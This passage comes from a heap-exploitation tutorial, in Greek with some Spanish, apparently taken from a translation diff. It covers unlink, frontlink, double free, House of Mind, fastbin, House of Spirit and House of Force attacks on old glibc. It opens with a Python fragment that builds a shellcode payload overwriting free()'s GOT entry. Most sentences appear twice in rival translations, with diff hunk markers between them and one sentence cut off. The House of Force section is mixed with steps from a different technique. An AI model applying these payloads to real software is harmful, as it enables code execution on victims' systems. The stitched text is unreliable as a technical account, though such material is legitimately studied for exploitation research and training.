**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Όπως αναφέρθηκε, το payload ξεκινά με 8 bytes padding γιατί**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Τροποποιείται το 2ο κομμάτι, το got\_free δείχνει όπου θα αποθηκευτεί η διεύθυνση addr\_sc + 12**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() απελευθερώνοντας με αντίστροφη σειρά (wargame)**
**unset() liberando en sentido inverso (wargame)**
Έχουμε έλεγχο 3 συνεχόμενων τμημάτων και απελευθερώνονται με αντίστροφη σειρά από την κράτηση.
Ελέγχουμε 3 κομμάτια διαδοχικά και απελευθερώνονται με αντίστροφη σειρά από αυτήν που κρατήθηκαν.
Σε αυτή την περίπτωση:
Στο τμήμα c τοποθετείται το shellcode
Στο chunk c βάζουμε τη shellcode
Το τμήμα a χρησιμοποιείται για να αντικαταστήσει το b έτσι ώστε το μέγεθος να έχει απενεργοποιημένο το bit PREV\_INUSE ώστε να νομίζει ότι το τμήμα a είναι ελεύθερο.
Το chunk a το χρησιμοποιούμε για να υπεργράψουμε το b με τέτοιο τρόπο ώστε το size να έχει το bit PREV\_INUSE απενεργοποιημένο ώστε να νομίζει ότι το chunk a είναι ελεύθερο.
Επιπλέον, αντικαθίσταται στην κεφαλή του b το μέγεθος ώστε να είναι -4.
Επιπλέον, υπεργράφουμε στην κεφαλίδα b το size ώστε να αξίζει -4.
Έτσι, το πρόγραμμα θα νομίζει ότι το "a" είναι ελεύθερο και σε ένα bin, οπότε θα καλέσει την unlink() για να το αποσυνδέσει. Ωστόσο, καθώς το μέγεθος του PREV\_SIZE του b είναι -4, θα νομίζει ότι το τμήμα "a" πραγματικά ξεκινάει από το b+4. Δηλαδή, θα κάνει unlink() σε ένα τμήμα που ξεκινάει από το b+4, οπότε στο b+12 θα είναι το δείκτης "fd" και στο b+16 θα είναι ο δείκτης "bk".
Έτσι, το πρόγραμμα θα νομίζει ότι το “a” είναι ελεύθερο και σε ένα bin, οπότε θα καλέσει το unlink() για να το αποσυνδέσει. Ωστόσο, καθώς η κεφαλίδα PREV\_SIZE αξίζει -4, θα νομίζει ότι το κομμάτι του “a” στην πραγματικότητα αρχίζει στο b+4. Δηλαδή, θα κάνει ένα unlink() σε ένα κομμάτι που αρχίζει στο b+4, οπότε στο b+12 θα είναι ο δείκτης “fd” και στο b+16 θα είναι ο δείκτης “bk”.
Με αυτόν τον τρόπο, αν βάλουμε τη διεύθυνση του shellcode στο bk και τη διεύθυνση της συνάρτησης "puts()" -12 στο fd, έχουμε το payload μας.
Με αυτόν τον τρόπο, αν στο bk βάλουμε τη διεύθυνση της shellcode και στο fd βάλουμε τη διεύθυνση της συνάρτησης “puts()”-12 έχουμε το payload μας.
**Τεχνική Frontlink**
Καλείται το frontlink όταν κάτι απελευθερώνεται και κανένα από τα διπλανά τμήματά του δεν είναι ελεύθερα, δεν καλείται η unlink() αλλά καλείται απευθείας το frontlink().
Ονομάζεται frontlink όταν απελευθερώνεται κάτι και κανένα από τα γειτονικά του κομμάτια δεν είναι ελεύθερα, δεν καλείται το unlink() αλλά καλείται απευθείας το frontlink().
Χρήσιμη ευπάθεια όταν το malloc που επιτίθεστε δεν απελευθερώνεται ποτέ (free()).
Είναι χρήσιμη ευπάθεια όταν το malloc που επιτίθεται δεν απελευθερώνεται ποτέ (free()).
Απαιτεί:
Ένα buffer που μπορεί να υπερχειλιστεί με τη συνάρτηση εισόδου δεδομένων
Ένα buffer που μπορεί να υπερχειλίσει με τη συνάρτηση εισόδου δεδομένων
Ένα buffer δίπλα σε αυτό που πρέπει να απελευθερωθεί και στο οποίο θα τροποποιηθεί το πεδίο fd της κεφαλής του χάρη στην υπερχείλιση του προηγούμενου buffer
Ένα buffer γειτονικό σε αυτό που πρέπει να απελευθερωθεί και του οποίου θα τροποποιηθεί το πεδίο fd της κεφαλίδας χάρη στην υπερχείλιση του προηγούμενου buffer
Ένα buffer προς απελευθέρωση με μέγεθος μεγαλύτερο από 512 αλλά μικρότερο από τον προηγούμενο buffer
Ένα buffer προς απελευθέρωση με μέγεθος μεγαλύτερο από 512 αλλά μικρότερο από το προηγούμενο buffer
Ένα buffer που δηλώνεται πριν το βήμα 3 που επιτρέπει την αντικατάσταση του prev\_size αυτού
Ένα buffer δηλωμένο πριν από το βήμα 3 που επιτρέπει την υπεργραφή του prev\_size αυτού
Με αυτόν τον τρόπο, επιτυγχάνοντας την υπερχείλιση σε δύο mallocs με έλεγχο και σε έναν με έλεγχο μόνο που απελευθερώνεται, μπορούμε να κάνουμε ένα exploit.
Με αυτόν τον τρόπο, επιτυγχάνοντας να υπεργράψουμε σε δύο mallocs με τρόπο ανεξέλεγκτο και σε ένα με ελεγχόμενο τρόπο αλλά που απελευθερώνεται μόνο αυτό το ένα, μπορούμε να κάνουμε ένα exploit.
**Ευπάθεια double free()**
Αν καλείται δύο φορές η free() με την ίδια δείκτη, υπάρχουν δύο bins που δείχνουν στην ίδια διεύθυνση.
Εάν καλέσετε δύο φορές το free() με τον ίδιο δείκτη, μένουν δύο bins να δείχνουν στην ίδια διεύθυνση.
Σε περίπτωση που θέλουμε να χρησιμοποιήσουμε έναν χωρίς προβλήματα. Σε περίπτωση που θέλουμε να χρησιμοποιήσουμε έναν άλλο, θα του ανατεθεί το ίδιο χώρο, έτσι θα έχουμε τους δείκτες "fd" και "bk" παραπλανημένους με τα δεδομένα που θα γράψει η προηγούμενη κράτηση.
Σε περίπτωση που θέλετε να ξαναχρησιμοποιήσετε ένα, θα ανατεθεί χωρίς προβλήματα. Σε περίπτωση που θέλετε να χρησιμοποιήσετε άλλο, θα του ανατεθεί ο ίδιος χώρος, οπότε θα έχουμε τους δείκτες “fd” και “bk” ψευδείς με τα δεδομένα που θα γράψει η προηγούμενη κράτηση.
**Μετά τη free()**
**After free()**
Ένας προηγουμένως απελευθερωμένος δείκτης χρησιμοποιείται ξανά χωρίς έλεγχο.
Ένας δείκτης που έχει απελευθερωθεί προηγουμένως χρησιμοποιείται ξανά χωρίς έλεγχο.
## **8 Υπερχειλίσεις στην Heap: Προηγμένα Exploits**
## **8 Heap Overflows: Προχωρημένα exploits**
Οι τεχνικές Unlink() και FrontLink() καταργήθηκαν με την τροποποίηση της συνάρτησης unlink().
Οι τεχνικές Unlink() και FrontLink() αφαιρέθηκαν τροποποιώντας τη συνάρτηση unlink().
**The house of mind**
Απαιτείται μόνο μια κλήση στη free() για να προκαλέσει την εκτέλεση κώδικα αυθαίρετα. Ενδιαφέρον παρουσιάζει τον εντοπισμό ενός δεύτερου τμήματος που μπορεί να υπερχειλιστεί από ένα προηγούμενο και να απελευθερωθεί.
Μόνο μια κλήση στο free() είναι απαραίτητη για να προκαλέσει την εκτέλεση αυθαίρετου κώδικα. Είναι σημαντικό να αναζητήσετε ένα δεύτερο κομμάτι που μπορεί να υπερχειλιστεί από ένα προηγούμενο και να απελευθερωθεί.
Μια κλήση στη free() καλεί την public\_fREe(mem), η οποία κάνει:
Μια κλήση στο free() προκαλεί την κλήση του public\_fREe(mem), αυτό κάνει:
mstate ar\_ptr;
@ -309,7 +332,7 @@ mchunkptr p;
p = mem2chunk(mes); —> Επιστρέφει ένα δείκτη στη διεύθυνση όπου ξεκινά το τμήμα (mem-8)
p = mem2chunk(mes); —> Επιστρέφει έναν δείκτη στη διεύθυνση όπου αρχίζει το κομμάτι (mem-8)
@ -321,9 +344,9 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
}
Στο \[1] ελέγχει το πεδίο size του bit NON\_MAIN\_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επιστροφή να είναι true και να εκτελεστεί το heap\_for\_ptr() που κάνει ένα and στο "mem" αφήνοντας τα 2,5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από το 0x0804a000 αφήνει το 0x08000000) και προσπελαύνει το 0x08000000->ar\_ptr (σαν ένα struct heap\_info)
Στο \[1] ελέγχει το πεδίο size το bit NON\_MAIN\_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επαλήθευση να επιστρέψει true και να εκτελέσει το heap\_for\_ptr() που κάνει ένα and στο “mem” αφήνοντας 0 τα 2.5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από 0x0804a000 αφήνει 0x08000000) και έχει πρόσβαση στο 0x08000000->ar\_ptr (σαν να ήταν μια δομή heap\_info)
Με αυτόν τον τρόπο, αν μπορούμε να ελέγξουμε ένα τμήμα για παράδειγμα στο 0x0804a000 και θα απελευθερωθεί ένα τμήμα στο **0x081002a0** μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα **0x0804a000**. Όταν αυτό το δεύτερο τμήμα απελευθερωθεί, θα βρει ότι το heap\_for\_ptr(ptr)->ar\_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (καθώς εφαρμόζεται το and στο 0x081002a0 που είδαμε πριν και από εκεί παίρνει την τιμή των πρώτων 4 bytes, το ar\_ptr)
Με αυτόν τον τρόπο, εάν μπορούμε να ελέγξουμε ένα κομμάτι, για παράδειγμα στο 0x0804a000 και πρόκειται να απελευθερωθεί ένα κομμάτι στο **0x081002a0**, μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα **0x0804a000**. Όταν αυτό το δεύτερο κομμάτι απελευθερωθεί, θα διαπιστώσει ότι το heap\_for\_ptr(ptr)->ar\_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (διότι εφαρμόζεται στο 0x081002a0 το and που είδαμε προηγουμένως και από εκεί εξάγεται η τιμή των 4 πρώτων bytes, το ar\_ptr)
Με αυτόν τον τρόπο καλείται το \_int\_free(ar\_ptr, mem), δηλαδή, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
@ -337,24 +360,36 @@ fwd->bk = p;
..}
Όπως είδαμε προηγουμένως μπορούμε να ελέγξουμε την τιμή
Στο δεύτερο κομμάτι και χάρη στο πρώτο, αντικαθιστούμε το prev\_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON\_MAIN\_ARENA
Όπως είδαμε προηγουμένως, μπορούμε να ελέγξουμε την τιμή του av, διότι είναι αυτό που γράψαμε στο κομμάτι που πρόκειται να απελευθερωθεί.
Στη συνέχεια, στο κομμάτι 2 βάζουμε πολλά nops και τέλος το shellcode
Ακριβώς όπως ορίζεται το unsorted\_chunks, γνωρίζουμε ότι:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Έτσι θα κληθεί ο \_int\_free(TROZO1, TROZO2) και θα ακολουθήσει τις οδηγίες για να γράψει στο \_\_DTOR\_END\_\_ τη διεύθυνση του prev\_size του TROZO2 το οποίο θα πηδήξει στο shellcode.
Έτσι, αν στο av->bins\[2] γράψουμε την τιμή του \_\_DTOR\_END\_\_-12 στην τελευταία εντολή θα γραφτεί στη \_\_DTOR\_END\_\_ η διεύθυνση του δεύτερου κομματιού.
Για να εφαρμόσετε αυτή την τεχνική, απαιτούνται μερικές πρόσθετες προϋποθέσεις που δυσκολεύουν λίγο περισσότερο το payload.
Δηλαδή, στο πρώτο κομμάτι πρέπει να βάλουμε στην αρχή πολλές φορές τη διεύθυνση του \_\_DTOR\_END\_\_-12 γιατί από εκεί θα την πάρει το av->bins\[2]
Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη επειδή εφαρμόστηκε σχεδόν το ίδιο patch με αυτό για το unlink. Συγκρίνονται αν το νέο σημείο προορισμού δείχνει επίσης προς αυτόν.
Στη διεύθυνση που θα πέσει η διεύθυνση του δεύτερου κομματιού με τα τελευταία 5 μηδενικά πρέπει να γράψουμε τη διεύθυνση αυτού του πρώτου κομματιού ώστε το heap\_for\_ptr() να νομίζει ότι το ar\_ptr είναι στην αρχή του πρώτου κομματιού και να εξάγει από εκεί το av->bins\[2]
Στο δεύτερο κομμάτι και χάρη στο πρώτο υπεργράφουμε το prev\_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON\_MAIN\_ARENA
Στη συνέχεια, στο κομμάτι 2 βάζουμε ένα σωρό nops και τελικά τη shellcode.
Με αυτόν τον τρόπο θα κληθεί το \_int\_free(TROZO1, TROZO2) και θα ακολουθήσει τις εντολές για να γράψει στη \_\_DTOR\_END\_\_ τη διεύθυνση του prev\_size του TROZO2, το οποίο θα παραλείψει στη shellcode.
Για να εφαρμοστεί αυτή η τεχνική απαιτείται να πληρούνται ορισμένες επιπλέον απαιτήσεις που περιπλέκουν λίγο περισσότερο το payload.
Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη καθώς εφαρμόστηκε σχεδόν η ίδια επιδιόρθωση όπως για το unlink. Συγκρίνονται αν η νέα θέση στην οποία δείχνει δείχνει επίσης σε αυτήν.
**Fastbin**
Είναι μια παραλλαγή του The house of mind
μας ενδιαφέρει να εκτελέσουμε τον ακόλουθο κώδικα που εκτελείται μετά τον έλεγχο της συνάρτησης \_int\_free()
μας ενδιαφέρει να φτάσουμε να εκτελέσουμε τον παρακάτω κώδικα στον οποίο φτάνουμε μετά την πρώτη επαλήθευση της συνάρτησης \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Με fastbin\_index(sz) —> (sz >> 3) - 2
fb = &(av->fastbins\[fastbin\_index(size)] —> Όντας fastbin\_index(sz) —> (sz >> 3) - 2
@ -362,98 +397,162 @@ p->fd = \*fb
\*fb = p
Με αυτόν τον τρόπο, αν τοποθετηθεί στο "fb" η διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα τοποθετηθεί η διεύθυνση του κομματιού που έχει υπερεπικαλυφθεί. Για αυτό θα χρειαστεί η αρένα να είναι κοντά στις διευθύνσεις των dtors. Ακριβέστερα, το av->max\_fast πρέπει να βρίσκεται στη διεύθυνση που θα υπερεπικαλυφθεί.
Με αυτόν τον τρόπο, αν βάλουμε στο “fb” τη διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα μπει η διεύθυνση του κομματιού που υπεργράφηκε. Για αυτό θα είναι απαραίτητο η αρένα να είναι κοντά στις διευθύνσεις των dtors. Πιο συγκεκριμένα, το av->max\_fast πρέπει να είναι στη διεύθυνση που θα υπεργραφεί.
Δεδομένου ότι με το The House of Mind είδαμε ότι εμείς ελέγχαμε τη θέση του av.
Δεδομένου ότι με το The House of Mind είδαμε ότι ελέγχαμε τη θέση του av.
Έτσι, αν στο πεδίο size βάλουμε μέγεθος 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() θα μας επιστρέψει fastbins\[-1], που θα δείχνει στο av->max\_fast
Έτσι, αν στο πεδίο size βάλουμε ένα μέγεθος 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() θα μας επιστρέψει fastbins\[-1], που θα δείχνει στο av->max\_fast
Σε αυτήν την περίπτωση, το av->max\_fast θα είναι η διεύθυνση που θα υπερεπικαλυφθεί (όχι στην οποία θα δείχνει, αλλά αυτή η θέση θα υπερεπικαλυφθεί).
Σε αυτή την περίπτωση, το av->max\_fast θα είναι η διεύθυνση που θα υπεργραφεί (όχι αυτή στην οποία δείχνει, αλλά αυτή η θέση θα είναι η οποία θα υπεργραφεί).
Επιπλέον, πρέπει να ισχύει ότι το συνεχόμενο κομμάτι που απελευθερώνεται πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του κομματιού που απελευθερώνεται είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει απλά να βάλουμε ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον το shellcode θα βρίσκεται στο κομμάτι που απελευθερώνεται, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops).
Επιπλέον, πρέπει να πληροί ότι το κομμάτι γειτονικό προς το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops).
Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system\_mem. Το av->system\_mem βρίσκεται 1848 bytes πιο πέρα.
Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system\_mem. Το av->system\_mem βρίσκεται 1848 bytes παρακάτω.
Λόγω των μηδενικών του \_DTOR\_END\_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις ενότητες δεν εξυπηρετεί για υπερεπικάλυψη, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για επίθεση στη στοίβα.
Λόγω των μηδενικών του \_DTOR\_END\_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις διευθύνσεις δεν είναι κατάλληλη για να υπεργραφούν, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για να επιτεθούμε στη στοίβα.
Μια άλλη μέθοδος επίθεσης είναι η ανακατεύθυνση του **av** προς τη στοίβα.
Μια άλλη μορφή επίθεσης είναι να ανακατευθύνουμε το **av** προς τη στοίβα.
Αν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8 τότε: fastbin\_index() θα μας επιστρέψει fastbins\[0] και μπορούμε να χρησιμοποιήσουμε αυτό για να υπερεπικαλύψουμε τη στοίβα.
Εάν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8, τότε: fastbin\_index() θα μας επιστρέψει fastbins\[0] και μπορούμε να το χρησιμοποιήσουμε για να υπεργράψουμε τη στοίβα.
Για αυτό δεν πρέπει να υπάρχει κανένα canary ή περίεργες τιμές στη στοίβα, πρέπει να βρισκόμαστε σε αυτήν: 4bytes μηδενικά + EBP + RET
Για αυτό δεν πρέπει να υπάρχει κανένας canary ή περίεργες τιμές στη στοίβα, στην πραγματικότητα πρέπει να βρισκόμαστε σε αυτήν: 4 bytes μηδενικά + EBP + RET
Τα 4 bytes μηδενικά απαιτούνται για να είναι το **av** σε αυτήν τη διεύθυνση και το πρώτο στοιχείο ενός **av** είναι το mutex που πρέπει να είναι 0.
Τα 4 bytes μηδενικά χρειάζονται ώστε το **av** να είναι σε αυτή τη διεύθυνση και το πρώτο στοιχείο ενός **av** είναι το mutex που πρέπει να είναι 0.
Το **av->max\_fast** θα είναι το EBP και θα είναι μια τιμή που θα μας επιτρέψει να παρακάμψουμε τους περιορισμούς.
Το **av->max\_fast** θα είναι το EBP και θα είναι μια τιμή που θα μας εξυπηρετήσει για να παρακάμψουμε τους περιορισμούς.
Στο **av->fastbins\[0]** θα υπερεπικαλυφθεί με τη διεύθυνση του **p** και θα είναι το RET, έτσι θα πηδήξει στο shellcode.
Στο **av->fastbins\[0]** θα υπεργραφεί με τη διεύθυνση του **p** και θα είναι το RET, έτσι θα παρακαμφθεί στη shellcode.
Επιπλέον, στο **av->system\_mem** (1484bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετό σκουπίδι που θα μας επιτρέψει να παρακάμψουμε τον έλεγχο που πραγματοποιείται.
Επιπλέον, στο **av->system\_mem** (1484 bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετή σαβούρα που θα μας επιτρέψει να παρακάμψουμε την επαλήθευση που πραγματοποιείται.
Επιπλέον, πρέπει να ισχύει ότι το συνεχόμενο κομμάτι που απελευθερώνεται πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του κομματιού που απελευθερώνεται είναι 16, σε αυτό το ψεύτικο κομμάτι απλά πρέπει να βάλουμε ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον το shellcode θα βρίσκεται στο κομμάτι που απελευθερώνεται, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που ακολουθούν μετά το πεδίο size του νέου ψεύτικου κομματιού).
Επιπλέον, πρέπει να πληροί ότι το κομμάτι γειτονικό προς το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 16, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που θα ακολουθήσουν το πεδίο size του νέου ψεύτικου κομματιού).
**The House of Spirit**
Σε αυτήν την περίπτωση, αναζητούμε ένα δείκτη σε ένα malloc που μπορεί να τροποποιηθεί από τον επιτιθέμενο (π.χ., ο δείκτης να βρίσκεται στη στοίβα κάτω από ένα πιθανό overflow σε μια μεταβλητή).
Σε αυτή την περίπτωση αναζητούμε να έχουμε έναν δείκτη σε ένα malloc που μπορεί να τροποποιηθεί από τον επιτιθέμενο (π.χ., ο δείκτης να είναι στη στοίβα κάτω από μια πιθανή υπερχείλιση σε μια μεταβλητή).
Έτσι, θα μπορούσαμε να κατευθύνουμε αυτόν τον δείκτη όπου θέλαμε. Ωστόσο, όχι οποιαδήποτε θέση είναι έγκυρη, το μέγεθος του Ϩεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max\_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητείται σε μια μελλοντική κλήση στο malloc()+8. Γι' αυτό, αν γνωρίζουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται το malloc(40), το μέγεθος του Ϩεύτικου κομματιού πρέπει να είναι ίσο με 48.
Έτσι, θα μπορούσαμε να κάνουμε αυτόν τον δείκτη να δείχνει όπου θέλουμε. Ωστόσο, δεν είναι οποιαδήποτε θέση έγκυρη, το μέγεθος του ψεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max\_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητήθηκε σε μια μελλοντική κλήση στο malloc()+8. Για αυτό, αν ξέρουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται malloc(40), το μέγεθος του ψεύτικου κομματιού πρέπει να είναι ίσο με 48.
Αν για παράδειγμα το πρόγραμμα ρωτάει τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να κατευθύνουμε τον τροποποιήσιμο δείκτη του malloc στα επόμενα 4bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλή size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί αρκετές προϋποθέσεις (σε αυτήν την περίπτωση ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system\_mem.
Εάν, για παράδειγμα, το πρόγραμμα ρωτούσε τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να δείξουμε τον τροποποιήσιμο δείκτη malloc στους επόμενους 4 bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλίδα size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί πολλές προϋποθέσεις (σε αυτή την περίπτωση ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system\_mem.
Αν αυτό πληροίται, όταν κληθεί το επόμενο malloc που είπαμε ότι είναι malloc(40), θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Αν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc μπορεί να υπερεπικαλύψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει.
Εάν αυτό πληρούται, όταν κληθεί το επόμενο malloc που είπαμε ότι ήταν malloc(40), θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Εάν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc, μπορεί να υπεργράψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει.
Αυτό πιστεύω ότι είναι επειδή έτσι όταν απελευθερωθεί free() θα αποθηκεύσει ότι στη διεύθυνση που δείχν
Αν υπάρχει ένα κομμάτι στον bin με τον κατάλληλο μέγεθος που ζητείται, τότε επιστρέφεται αυτό μετά την αποσύνδεσή του:
Αυτό πιστεύω ότι συμβαίνει γιατί έτσι όταν το απελευθερώσει το free() θα κρατήσει ότι στη διεύθυνση που δείχνει το EBP της στοίβας υπάρχει ένα κομμάτι τέλειο για τη νέα malloc() που θέλει να κρατήσει, οπότε του αναθέτει αυτή τη διεύθυνση.
bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μοναδική πληροφορία που μπορούμε να τροποποιήσουμε.
bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στο stack στο επόμενο κομμάτι που έχει κρατηθεί, τότε θα δοθεί αυτή η διεύθυνση.
bck->fd = bin; Κλείνει η λίστα με το να δείχνει σε αυτό το bin.
**The House of Force**
Απαιτείται:
Να κρατηθούν δύο malloc, έτσι ώστε να μπορεί να γίνει overflow στο πρώτο μετά την απελευθέρωση του δεύτερου και να έχει εισαχθεί στον bin του (δηλαδή να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν το overflow)
* Μια υπερχείλιση σε ένα κομμάτι που επιτρέπει την υπεργραφή του wilderness
* Μια κλήση στο malloc() με το μέγεθος που καθορίζεται από τον χρήστη
* Μια κλήση στο malloc() των δεδομένων που μπορούν να καθοριστούν από τον χρήστη
Το malloc που κρατείται και στο οποίο δίνεται η διεύθυνση που επιλέγει ο επιτιθέμενος να ελέγχεται από τον επιτιθέμενο.
Το πρώτο που γίνεται είναι να υπεργραφεί το μέγεθος του κομματιού wilderness με μια πολύ μεγάλη τιμή (0xffffffff), έτσι οποιαδήποτε αίτηση μνήμης αρκετά μεγάλη θα αντιμετωπιστεί στο \_int\_malloc() χωρίς να χρειάζεται να επεκταθεί το heap.
Ο στόχος είναι ο εξής, αν μπορούμε να κάνουμε ένα overflow σε ένα heap που έχει κάτω του ένα κομμάτι που έχει ήδη απελευθερωθεί και βρίσκεται στον bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Αν τροποποιήσουμε τον δείκτη bk και αυτό το κομμάτι γίνει το πρώτο στη λίστα του bin και κρατηθεί, τότε ο bin θα παραπλανηθεί και θα του λέμε ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) βρίσκεται στην ψευδή διεύθυνση που έχουμε θέσει (στο stack ή στο GOT για παράδειγμα). Έτσι, αν κρατηθεί ξανά ένα άλλο κομμάτι και ο επιτιθέμενος έχει δικαιώματα σε αυτό, θα δοθεί ένα κομμάτι στην επιθυμητή θέση και θα μπορεί να γράψει εκεί.
Το δεύτερο είναι να τροποποιηθεί το av->top ώστε να δείχνει σε μια περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου, όπως η στοίβα. Στο av->top θα μπει \&EIP - 8.
Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στον bin του.
Πρέπει να υπεργράψουμε το av->top ώστε να δείχνει στην περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου:
Μόλις βρεθεί στον bin του, είναι η στιγμή να του τροποποιηθεί ο δείκτης bk μέσω του overflow ώστε να δείχνει στη διεύθυνση που θέλουμε να αντικαταστήσουμε.
victim = av->top;
Έτσι, ο bin θα πρέπει να περιμένει να κληθεί η malloc() αρκετές φορές ώστε να χρησιμοποιηθεί ξανά το τροποποιημένο bin και να παραπλανηθεί ο bin πιστεύοντας ότι το επόμενο κομμάτι βρίσκεται στην ψευδή διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει.
remainder = chunck\_at\_offset(victim, nb);
Για να εκτελεστεί η ευπάθεια το συντομότερο δυνατόν, ιδανικά θα ήταν: Κράτηση του ευάθροτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός κομματιού μεγαλύτερου από αυτό που θα τροποποιηθεί, τροποποίηση του κομματιού (ευπάθεια), κράτηση ενός κομματιού με τον ίδιο μέγεθος με το ευάθροτο κομμάτι και κράτηση ενός δεύτερου κομματιού με τον ίδιο μέγεθος και αυτό θα είναι αυτό που θα δείχνει στην επιλεγμένη διεύθυνση.
av->top = remainder;
